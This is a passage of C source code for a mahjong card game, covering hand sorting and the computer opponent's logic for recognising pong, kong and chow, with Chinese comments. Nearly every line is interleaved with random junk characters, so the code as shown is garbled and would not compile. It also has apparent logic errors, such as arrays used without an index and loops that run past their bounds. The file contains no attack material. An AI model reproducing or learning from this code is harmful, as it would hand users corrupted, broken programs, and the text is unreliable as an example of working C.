  b1 \+ H7 Y! e" @* F7 n9 Dcomputer.pp[j+1].oneorfour=u;
1 Z5 W# a& l) G$ h& |2 ~+ ?u=computer.pp[n].number;% O# D. r: D) _9 Z- r' R6 |
computer.pp[n].number=computer.pp[j+1].number;
) X& i5 c3 b. ~1 ^computer.pp[j+1].number=u;
. w# i: R' u& A. T1 i}
" X( w% S  ?; w! V5 Q4 q; p}
8 I+ J, ]+ u: ~/ \* W2 F6 r& w3 b}
: x, h+ x5 R$ p- h; D) Wvoid melipai()
/ [8 k2 w0 ]' R, @5 M{ int n,j,u;
  T/ z8 \2 ^8 g  K! pint *lingshi;
/ Z4 t& f% Y1 s" m( g% Q/ M7 d: Kfor(n=0;n&lt;me.m;n++)6 z6 b$ F9 P1 ?2 K4 q( j
for(j=n;j&lt;me.m;j++)
, Y  |' B" u6 d' c; g4 {{) A% p  L. |; F2 E1 E6 u" ~8 x
if(me.pp[n].number&gt;me.pp[j+1].number)
: _+ l+ f0 l2 b% v) {/ t{" s/ p+ |9 ^8 `1 b
lingshi=me.pp[n].k;6 R! V! I7 C' i2 r* e& |
me.pp[n].k=me.pp[j+1].k;+ e7 n" j. f' N1 @# y
me.pp[j+1].k=lingshi;3 X7 @, J. p0 B- @$ F+ c! e; D
u=me.pp[n].oneorfour;
& q& x# I) \- U+ Jme.pp[n].oneorfour=me.pp[j+1].oneorfour;: i, Q6 }1 ]; c, r$ _7 ~; L! t
me.pp[j+1].oneorfour=u;
% ~" R3 g' L* q% i7 F5 t2 L- N* ]u=me.pp[n].number;" i& p% b" y; Z( U. Q3 j$ |  l
me.pp[n].number=me.pp[j+1].number;
# x; Y. C; s0 Z1 a# D3 Dme.pp[j+1].number=u;
7 v' {, a" d( i( J  }& v}
1 n- b/ V8 A; telse' s- k/ c7 H1 n  y, M  z( ]7 [
if(me.pp[n].number==me.pp[j+1].number)
$ ?5 [' h: }1 Q  i% C" f; Vif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)4 y8 M  S5 O2 j( ~  y
{$ e* y7 V4 `. k
lingshi=me.pp[n].k;. c9 {  A' d* G5 d. G
me.pp[n].k=me.pp[j+1].k;
& ?5 f* Z6 C, p$ n' B$ A- wme.pp[j+1].k=lingshi;* [8 z& X; u+ t, J& q
u=me.pp[n].oneorfour;7 y. U! h! O* j& y4 c7 M2 u0 Q
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
& Z/ Q+ @' A) u* \me.pp[j+1].oneorfour=u;: E- V4 r# _9 o) P! D
u=me.pp[n].number;
9 z; E3 r" Q5 wme.pp[n].number=me.pp[j+1].number;
& H& E; g  J8 K5 `  {! G+ {me.pp[j+1].number=u;) }# b+ a+ }4 d& w. a+ c! W! d
}
6 L1 [* _% J2 E- s" r0 M}) t# ?' S2 ?7 C
}
5 j7 ], Y1 P. G6 H" yvoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/+ b8 y2 Z; i+ S: v. f1 T% M
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
$ j. |0 s6 @/ @  Z% p) Uif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)! J: {/ p; t3 I/ U3 Q7 b
{
$ m5 l+ a  ^2 o$ T" c/ y4 K( Tlogo=1;; X! `" K& P( E! z# ?7 J5 Z
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)0 D) m+ G5 t" Y, e
logoo=1;6 {; y3 \/ ]9 E; W
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
  u* v  x. u9 ~# e2 e7 slogoo=2;5 j' v. C9 |+ Z" S% o0 t1 x' h7 H
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
$ u8 k  |2 x# A$ i; p* rlogoo=3;* n; d. F, u& s4 c" o3 A
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
- q$ P, g$ `* E) x& t: flogoo=4;
, ?# H* B. {& g8 u7 \7 j" e# l" A$ ~- telse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
% }2 f7 T& }, Blogoo=5;. ]& M$ v0 d  V- a3 L
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20); q5 W+ E5 p+ J! i: c# R3 y
logoo=6;
0 M0 k1 N/ X: c/ S8 oelse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)3 E9 x+ l' |  R. C* q
logoo=7;. R2 _+ [. j) X' h% {& c
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
6 W( j$ W5 c. x2 e- alogoo=8;* T' E4 ^' c1 n" S# b
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)- Q% d8 }: k' K: f, j& J+ m
logoo=9;
, m  l% x; N9 W7 G' p}
; r7 }" P2 ]1 k( P7 {! ?4 Nelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36): G4 S: I! [, m. u1 [8 y
{- r1 C( R6 v/ Z; ~& |
logo=2;
) P" b! b/ O& w) a! fif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
- ?1 n7 i7 E% C1 Llogoo=1;
6 ^1 S, }9 j# G/ `  uelse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40). D& L, Q% }: y6 C
logoo=2;1 B7 ^+ ~: X0 _
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
2 I0 J. m3 q; i$ zlogoo=3;/ n# W0 y* J. z( n5 H
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48). M6 ^, M$ \' U, B6 q% Q
logoo=4;, e) \* f$ Y2 j1 O4 {1 \4 Q4 U. y" Q
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)* t) s" x4 `2 d, b+ R* m
logoo=5;- i; m8 i. r$ Z! G' J
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)  \9 S2 Y3 W! M3 B' l, o9 s
logoo=6;
! R- z) {( m% y4 Telse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60). U- s8 ^# s  G
logoo=7;
. ]: b: m$ j  `else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
8 ?/ s' t- M& N$ zlogoo=8;# v) v% r1 ]! D! i6 ]+ h) y
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)& V. B) T, H- @7 z3 H9 m3 S' Z
logoo=9;
% k  I/ m0 E7 \$ k$ @0 W, Q& V# x4 N}
2 K& [5 f! `6 Z; g, Z  Velse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
4 [% L6 y& w) k  S  w+ E5 |$ W{" x8 t' o; E5 ^4 _. \3 q
logo=3;
5 [* R% v8 ^3 H: h- Pif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
5 z( S  l# u- i  z5 l8 Rlogoo=1;& ~! v9 j7 [" z: D4 R0 @
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76). \$ a* O2 W1 |" O! ^; j; w
logoo=2;. r3 @0 Y% k: r8 l$ I
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)* Y. O! Q" g/ q
logoo=3;
) |0 c+ ~$ a4 ?else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)7 _; Q+ l  R  n$ g
logoo=4;
+ u, \6 j* I# Z+ ]+ helse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)4 p* Q: u- R, _/ g: [* l- ~
logoo=5;/ v( \! E- F9 B6 d
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
  u7 ^3 I# n0 V( alogoo=6;
0 p0 N% ~$ I2 P) s, m- [. Ielse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)8 n& e' `; U) V# e0 H  o& v
logoo=7;
. I  j* u  x1 P& gelse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)! _' q9 E; |8 i3 y; A5 {* l
logoo=8;; S5 `9 i2 P% R, v: a
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)3 s9 H, {5 S# ]
logoo=9;
/ m2 V! Y: L" u9 V  B4 r0 {}" t+ a1 L, e6 C, O1 i" w, {
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
% q) r# |, D. j2 C' m6 {3 u. d- b{
( w7 O5 j' D8 i0 p9 Dlogo=4;
3 a' j& a# X7 X/ k: L, U( ]if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)# t7 ^; n1 q) x: y  m8 C
logoo=1;8 n2 e3 D9 V! k# \( B/ n
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
' m2 g& |  e' c; g8 Q+ a5 H7 Clogoo=2;. K" v! r/ _. Y/ o$ o; j- |
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)- R1 g/ W/ {: f- a& n2 l
logoo=3;( a% F9 \" ?; L5 {& j9 t6 A9 j3 W
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)$ h# y9 d  R7 s8 U/ I4 ?. O
logoo=4;
% j! X, e3 s5 ~6 W4 t, r% y. }else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)+ `% I- y2 a5 ~, ?( ]! C* b" j
logoo=5;
, H8 a' k& z1 q0 i3 F4 Telse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)( L  B0 y5 _! n% D4 Y
logoo=6;  @" _8 c$ _+ V
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)7 a' a' j4 N2 ?
logoo=7;/ t9 B! l, d4 Q3 x! z
}" Y1 K7 r; I. r  v) ?
while(b&lt;=computer.m)( e- [3 p, ~" h- O+ C, y* A3 j
{6 }' d% e$ y8 a" h# O9 P* q
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/$ k/ n( @( n, q, D* }* k
{
( m' E; I/ d) s! [lg=1;7 q8 Y- j4 {% p9 u" M' x' m
computer.pp.d[0]=1;1 j( h9 \. F# O; I$ z
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
5 b0 O1 c* c( v0 [2 v7 }{  i4 |  I" I* ~0 i
lgg=1;9 V( @$ G  n6 A6 n  J) ^, Y
computer.pp.d[1]=1;
  d6 V2 w6 z  h% I3 g8 H$ d9 R, Q}
5 x" n6 v5 c3 @! Relse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4); T+ J# v; M" ~
{7 U& f" n6 @. U6 w; k
lgg=2;7 J9 Q4 Q& n1 ~' O  R, R+ h" e
computer.pp.d[1]=2;$ ^. H7 p5 L! J$ N6 V. [& @0 q! M
}, j6 ]. E8 P5 M* O* a1 R; G4 h
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
! c( E0 g9 Q) X4 ]# c" S: ^& Z2 B{
* y5 }( M# i, S! e  m" Flgg=3;' c0 G; Y7 ]4 N& K6 b& J
computer.pp.d[1]=3;: X$ W4 [  T) g+ a1 J
}
- q5 I: y" I  b  T, G7 u# ~! o8 pelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
# A% |$ k- f# @8 g* A3 `{
  b0 m: _* i6 w1 \+ P9 F* `lgg=4;
; e0 k$ E% }& ^9 X! W/ s# c4 `. m6 Qcomputer.pp.d[1]=4;! X' F3 |5 B, J4 l' U
}
. ?( v$ C' u  ]9 Y7 O+ a; \else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)% l5 [) A  X, J1 v' X
{, D' u" {, m% g5 x( E
lgg=5;) [" F- `; w4 d* c
computer.pp.d[1]=5;
7 R) u  C: F) W' m; B}
2 v8 z. h* V$ w% D6 Telse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)& |* m' Y7 Z' }/ i, v4 b2 i7 U: V  p
{8 Y' i4 W/ M! u/ `% X- c* y
lgg=6;5 v) I$ A# A8 e$ }" I) v
computer.pp.d[1]=6;* s/ I( N0 \# X
}9 Z2 K0 \  ^) S4 U
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
% B8 G6 P  {# I- i! L4 v{
2 j0 _. u) I0 M9 zlgg=7;2 Y7 X0 t  I% G2 H/ N; h4 l
computer.pp.d[1]=7;
6 y9 E9 p) l5 h+ z}
8 O% R) n; m) i) X1 ^1 {8 selse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
& D) B8 k2 I7 ^9 `$ i/ j2 F$ e% d{
; W% o3 R6 T! C  K. N8 W% @lgg=8;
8 v5 t& T- a7 K+ v) scomputer.pp.d[1]=8;
" q$ t9 m8 l1 Y7 m$ i7 Z) h8 i}
+ U, l  V4 @% |+ V" w/ d. r. `9 Melse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)+ |0 R4 i8 @+ C2 E# `
{
% Q; i( n9 a5 y3 k7 p  `lgg=9;" s5 A/ H# U2 s
computer.pp.d[1]=9;2 Q. n3 n9 X' E) O
}3 S# P- `5 H* M' B
}! h% @$ B* |( u( A- B
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
2 j% e/ o" l8 v! b+ f  @{  C1 V1 `: O; q0 X9 B
lg=2;# U; F* _# a  }2 O' H8 f
computer.pp.d[0]=2;
! d0 ]: C# O9 W7 L6 S: Oif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)* a2 ^+ s. M8 w  X6 ^! ~/ m
{
8 h& ^# s* u+ }' e' clgg=1;
* ^3 ?5 c: T+ {computer.pp.d[1]=1;/ i7 U( o1 ?/ p6 T+ o
}0 M" ~8 f3 j: A, e& i3 Y0 _
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
- ~8 P$ a1 z& ]+ r) q{
; C6 Z; ~" c: V1 Z9 H; A) _0 dlgg=2;/ j. ?8 \) N0 d9 T- E' ]
computer.pp.d[1]=2;
% X+ i" t, [" M2 J5 l) D$ K. F}$ @7 ^/ N2 L2 [; K
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
) i+ j( t! P. o0 Q; c1 s# I{  M8 ~5 |) V% ~% l% S; L$ S
lgg=3;
" g$ B3 E! e4 ?8 H0 s7 h2 l+ F4 Bcomputer.pp.d[1]=3;4 R$ S6 ]- m: @# P- R/ \
}3 [! K! Q. c6 ?$ {5 V
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)6 ~/ l3 Z1 w. Z8 H$ E4 Z( a
{
# T5 a0 ^0 W# T1 H& V7 J, vlgg=4;9 Y2 U- p, A! _/ o# J0 ^$ X) m( y
computer.pp.d[1]=4;8 ?5 f/ A/ b' f! z* G- i
}
* f1 D  L# k# }1 G5 F* T7 Nelse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
! m% X# Y& Z0 w# D% z6 R{) P6 I- _* B: N( J
lgg=5;
2 v7 b: `& _) |$ ?0 Hcomputer.pp.d[1]=5;0 t% b# [! W' Z' _
}
5 l! w/ b+ P$ V1 Delse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
0 R: G8 t: I: Z' Q! E6 L" o. Y{
4 f" u  y) M' Llgg=6;2 p* d8 u8 P4 E2 L
computer.pp.d[1]=6;& z4 Y5 K+ s4 w
}
. r& ?1 B- r9 u9 ~else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
1 ^2 U; V" c& d{8 n9 I( e4 u% R: i% x( ]; e
lgg=7;0 `/ a/ h+ W+ q1 B8 p
computer.pp.d[1]=7;
1 t. D  }6 @, l7 D7 J3 c}2 B6 _5 ?9 |6 H6 `2 G
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
( [/ m* S* C( X: k8 n5 `! M2 t{
' W: R  V, i* zlgg=8;8 y  B; ^2 k! Y4 |% R2 |
computer.pp.d[1]=8;9 X5 H6 Y5 P- r, I( m0 b
}
% b8 l: e5 u+ Y' Aelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)8 f: _, P" \' b' a
{
5 ~/ P8 z; h" ]5 _9 ~  C$ G: E2 elgg=9;
7 z/ {/ ~* c8 R* mcomputer.pp.d[1]=9;
2 c5 r6 U5 @6 c: D% V}* t0 u, f2 \8 N5 m
}$ c) o* `3 D( O
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)2 C1 ]: E( W. q" ?
{! S0 |  G' B& q, {8 e
lg=3;
$ k/ q8 m! ]0 M3 b6 [& r2 \9 scomputer.pp.d[0]=3;' U4 |9 h% j4 a
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)8 b6 I2 [0 U3 B6 x! z
{
7 g5 l' ]2 Q3 \1 k( q" Vlgg=1;. E: X* H) a2 \" i! l& V8 }+ w
computer.pp.d[1]=1;
% g. O% m9 R. \0 H/ w% J' n) S}3 H- m" K$ c8 H  }9 K  e
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
! h. n$ M& G  Y" s; _' f) W{
) p7 b, u- u# N. Jlgg=2;
* i- p& F5 \: Pcomputer.pp.d[1]=2;# T2 e* k( \* e' L. r5 P
}5 _4 w# P" y7 v  G$ E
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
% A1 [4 p4 ]; o2 d# J' W{4 h) f$ ~( X* K/ {
lgg=3;
/ B: L3 a. c7 l2 E9 X" v. mcomputer.pp.d[1]=3;, r1 Q: K' \. Q# I( K
}
% R: h9 o; g8 U( I0 U: C: h2 Jelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)8 Y% d5 @4 u! `6 U
{7 |  x, y8 D  g4 u* r
lgg=4;
: ^0 w# e  p* e  w. x% t! U/ |7 a) qcomputer.pp.d[1]=4;
* n9 h* u* y; g}
# v* e3 E6 ]. {& n2 C' |else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
& P+ g. n- t5 |  G{6 \$ P7 m% o( q, [$ G
lgg=5;% w8 {0 E0 e( D- A/ ~* i2 T1 k; u2 L
computer.pp.d[1]=5;
' A3 y: |7 s6 ?: U  E}
8 O$ N6 W" w. z. m# _4 B% \else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
0 O3 N  |6 V& Z{
7 |/ b) g1 y8 y9 Q. a; ]  }4 ?lgg=6;) D' i- f5 r5 k% c! Y
computer.pp.d[1]=6;
2 ?# W$ ~5 F7 d+ ^( Q  j}) V' D) [6 z" k' {# I/ p
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)* d/ V! k: W( a
{
) f% t8 D1 X9 ~9 l' E' hlgg=7;
& m% @$ [# `( L# d4 B- O% _& Y/ Ccomputer.pp.d[1]=7;8 G0 M+ U: M  ?* J; y3 ]" Q
}& w7 J! N$ O; j6 K+ M9 o
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
+ U" X8 B8 A+ c* p{
9 e; F  ?6 n" Y6 N" }& S# |0 _' }' Nlgg=8;
  A" o; P- E. w  L- I) S* {$ gcomputer.pp.d[1]=8;/ {/ `0 ?- S% G: C8 ^) b1 P
}: b- e- a) u& n2 L+ x
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
( ~' Z! G3 S( q2 t% @* t{' a6 B* U- S: P7 w0 t" c- E/ k  G
lgg=9;3 x0 t" v* R0 y% T* R& `
computer.pp.d[1]=9;
7 w! j/ a3 M5 E: R, W1 _; v}
+ V+ h) `3 ~5 |: q! Y}
, l1 @& ]4 ]( C2 J4 W1 A1 Helse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
7 ~, U, h8 ?, F{
- T* Y( C- K6 l, R+ V2 i; t* {lg=4;
! L- g5 G8 p! V% o, e7 K, L: Dcomputer.pp.d[0]=4;
5 O1 l' q2 C3 m0 R; @  @! sif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
. m2 d+ h7 [0 ]+ x+ h' k; [{1 w# z( ~3 }4 m1 x
lgg=1;  k' h9 K2 S: _" \( u; y1 D7 ~+ Z
computer.pp.d[1]=1;
/ ]! `: e6 ], Y' z}
2 c! R: h+ Z* l2 t: felse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)' ~! Q) D  K( l8 i3 ^
{
" G- @" J9 c% h2 N( tlgg=2;8 x5 N* w; d/ r3 M8 e! p4 C
computer.pp.d[1]=2;# V& ~* o! H9 r# E
}
. K. w! B  f  ?: F0 S2 a; kelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
* L, z5 D! e1 Y2 o3 L; p( p{& K) K/ K- x6 `' f7 `3 w
lgg=3;
1 F* F. y8 _# Qcomputer.pp.d[1]=3;1 g+ o4 l: \1 w& x: S$ K4 @. K
}
* ^& U  K6 d5 Helse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
1 a4 o) U* j# Y3 U$ c, b! {{5 x  x, {$ f7 s
lgg=4;( o) S  l$ k1 y% C2 b
computer.pp.d[1]=4;
0 [- B# a. r" Y8 ]- ]. D" B}
* v, H& f4 u  jelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)! H  ^! k! C# T
{
& `7 [  L, s3 vlgg=5;
' M) ~' Z2 g1 d& n8 t; Jcomputer.pp.d[1]=5;
3 v) E) N4 O( i}5 T  {! e/ R) W3 l
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
& T& Z5 U/ H7 `) [! l% \{% S$ J% B: V2 l; C! g7 `  B
lgg=6;- |& q8 T" c" N$ D; H. _3 u
computer.pp.d[1]=6;
# I: K2 K; U$ U9 f. g+ M; s! F}
( H  n5 e# k, B$ _2 o7 Felse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)2 K( U$ K. S1 z7 }; b+ R& K+ X
{
/ C$ k7 w" j5 [; u1 W. Ulgg=7;0 z& }4 }" n4 r- q1 H
computer.pp.d[1]=7;
4 K$ d% G* H# m}
. L- f" J* k. Z}
/ q% b* [* i0 B- C
' v/ Y2 ^  p: {) Y4 }& @' Wif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
0 i4 Z4 V8 y7 N- pif(logoo==lgg)
" c6 u+ o$ d$ A- vpg++;
7 m" O$ N5 K2 ach.lg=lg; /*保存电脑手里的每张牌的信息*/; V6 [  P0 e/ q
ch.lgg=lgg;
, J6 {3 }3 m) v4 mlg=0;8 S8 Y# p! ]2 ^9 {+ s
lgg=0;1 N# n& f1 r3 b6 @; `
b++;
  [# ~0 d+ I: A% i: q2 u2 P4 w1 R}2 J0 o7 r3 v4 R7 O& f& o
if(pg==2) /*乓*/4 D4 z( _  @; ^& w5 S
{8 H+ m3 n& w3 F3 d) B3 H
6 Z% t* R" G; p
sing=1;& n. C" ^1 ]% h: ~" A. I& L! Z
b=computer.m;
& I- e! ^. J- Q. T2 F1 nwhile(b!=-1)( y0 W) T; g( @! K1 n3 v' g; @
{  c* r. |/ o/ j  _
if(strcmp(me.pp[c].k,computer.pp.k)==0)
  O6 _, Q8 A4 M/ h4 jcomputer.pp.p=1;0 g' K5 u% z" o9 Y# @

" K$ r8 l+ I; J) _1 M2 l4 hb--;
3 H( `& `; w4 e  J}
4 t2 K! T% A' b5 F}7 n; @9 D  ^7 O: g
if(pg==3) /*杠*/9 L- b4 r0 z) H/ Q) e7 u, m" s
{+ N- l: o7 C/ P
- Q. [2 l3 r& D) S1 l! e0 p
sing=2;2 p  d& a- s% t
b=computer.m;2 v1 F0 V$ w" |" ?) }$ q/ \
while(b!=-1)7 `9 z/ f9 k/ @, D( a! |% h
{7 @) Y. }: h/ ?1 W3 ~; \
if(strcmp(me.pp[c].k,computer.pp.k)==0)2 g/ O# N0 V6 m4 X/ p8 x0 }
computer.pp.g=1;
$ b% d" E9 L% Y3 m) w4 k; ~8 q( |b--;
: p% j( v9 \- i+ `" Q}" L3 e  _# d- }0 G
}( e- f1 M2 e# @; P* M
f=0;8 Z( N( |( K0 X8 J
while(f&lt;computer.m) /*吃的判断*/! E+ r0 \7 _, E% i9 I9 a, d; i
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)" i) Z, m0 M  j( w& K/ d+ n
{3 R7 X$ x; m# U% P$ d. |
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/4 _  }  t. D) R8 q. J! N
if(ch[f].lgg-logoo==1)4 h; s$ W$ L3 Y* y- }
{9 }: R% Z8 e; ?6 T/ n
gp++;3 c# c# @% H6 l. X
computer.pp[f].c=1;
" S3 G: Z* c3 |  K2 G0 W2 hcomputer.pp[f+1].c=1;
% m$ ]: P* o1 n}9 F& Z/ u7 c5 ]# l& @, B, C
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
' ^, D" J0 G1 e% [( }if(ch[f+1].lgg-logoo==-1)
5 V, O2 q- [& A. h, l  {9 N, {{7 c, P( P4 ?7 D& B0 q& Y5 I9 [' D
gp++;) ~# e) G& _$ G6 R7 `  ^" W: |+ Q
computer.pp[f].c=1;7 R) Z+ r) Z: Z& m% ]8 ]
computer.pp[f+1].c=1;
. T2 F( Y1 F8 q: }) g- ]" Z}5 J( e2 q( k. k3 z  c
if(ch[f].lgg-logoo==-1) /*中吃*/
  M5 z+ o% j7 V0 O+ aif(ch[f+1].lgg-logoo==1)8 C, q  S  z. }# k, l+ a
{+ E4 u( B: C' ]1 p7 _6 }2 I
gp++;
! `" A1 E$ r, X9 Ucomputer.pp[f].c=1;
5 }/ T2 l4 r- w- j3 I9 s7 [7 F$ T' vcomputer.pp[f+1].c=1;
8 `7 m* r* E' m+ b1 X$ V}' R! ?3 ^& m0 Z/ z+ H7 j
if(gp==1)4 Q* x% o; V+ x* N
break;- t* H! ^  p- @5 l
}
4 c, K- @7 `$ j- T7 Z% _3 e0 |f++;
% A1 n2 n5 l. W1 Z}/ V' t! [0 s8 O9 F! C( k8 O
if(gp==1)
% ^$ @( _9 _% _' w. q{sing=7;
1 I. |9 H- H. c" D! N8 g, P5 s, _- k" g
}1 t- K& R" f7 Y$ V' r9 A3 z
pg=0;+ |( E4 ^$ F/ ?
gp=0;
1 V1 A0 E, a1 g$ M6 eb=0;
) g& u8 S* Y2 I5 `+ n, u$ b( C}: x8 D1 m# R" W
void rgznme(int c) /*本程序涵数的核心针对我的牌*/1 B) f: Y( x9 C
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;" f0 N  C" O3 |1 @0 s7 x" x3 W4 b
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
& J. A! Y( B  h+ y9 Y' L{
$ i1 `- g' z1 Y- {$ E" L% l6 ]logo=1;
( H, K( t- t% V7 u) mif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
/ A9 f+ l9 V. E( E- ]9 S3 rlogoo=1;
; ?8 p6 t+ z$ u! C0 {4 o1 Felse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)2 A% {9 }, V" G% v" N
logoo=2;! ^) f/ Q! c5 K0 j8 z5 Y2 u1 K1 N: ]
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)7 T) z9 z4 G6 E0 _8 i$ O6 Y
logoo=3;
% I+ y% X7 m/ X+ Uelse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)5 U: q& H; D/ o* U
logoo=4;; Z/ h: d* k$ f
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)" f- q8 `" Q1 S7 v0 c" b8 f
logoo=5;
/ u8 W" i+ E* h( F/ a% S1 {else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
+ X# J' `& n# N4 @logoo=6;2 z: \5 P  f+ R0 [& G
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)& K" v7 B6 Z  M
logoo=7;7 R6 i# A: ?/ h: W  ]- Y
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)8 |$ B. z2 ]- e  _5 P
logoo=8;3 U( u9 }) t2 L' K8 [
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)" `+ y# A) y# a1 c7 w
logoo=9;
. l" p* L5 s9 H8 @0 L}) r) Z9 q/ r5 z  T+ q- u
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)" M4 e! m- L( z6 B& D
{
( E7 r1 b0 p! `! N3 `2 a" a" Wlogo=2;2 ^! o: H1 M9 J( E; r
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)* N$ D5 g1 k- p
logoo=1;
9 ^- {5 {% m' |* Ielse if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)9 A% @+ \7 n3 g# b7 w$ \3 q
logoo=2;
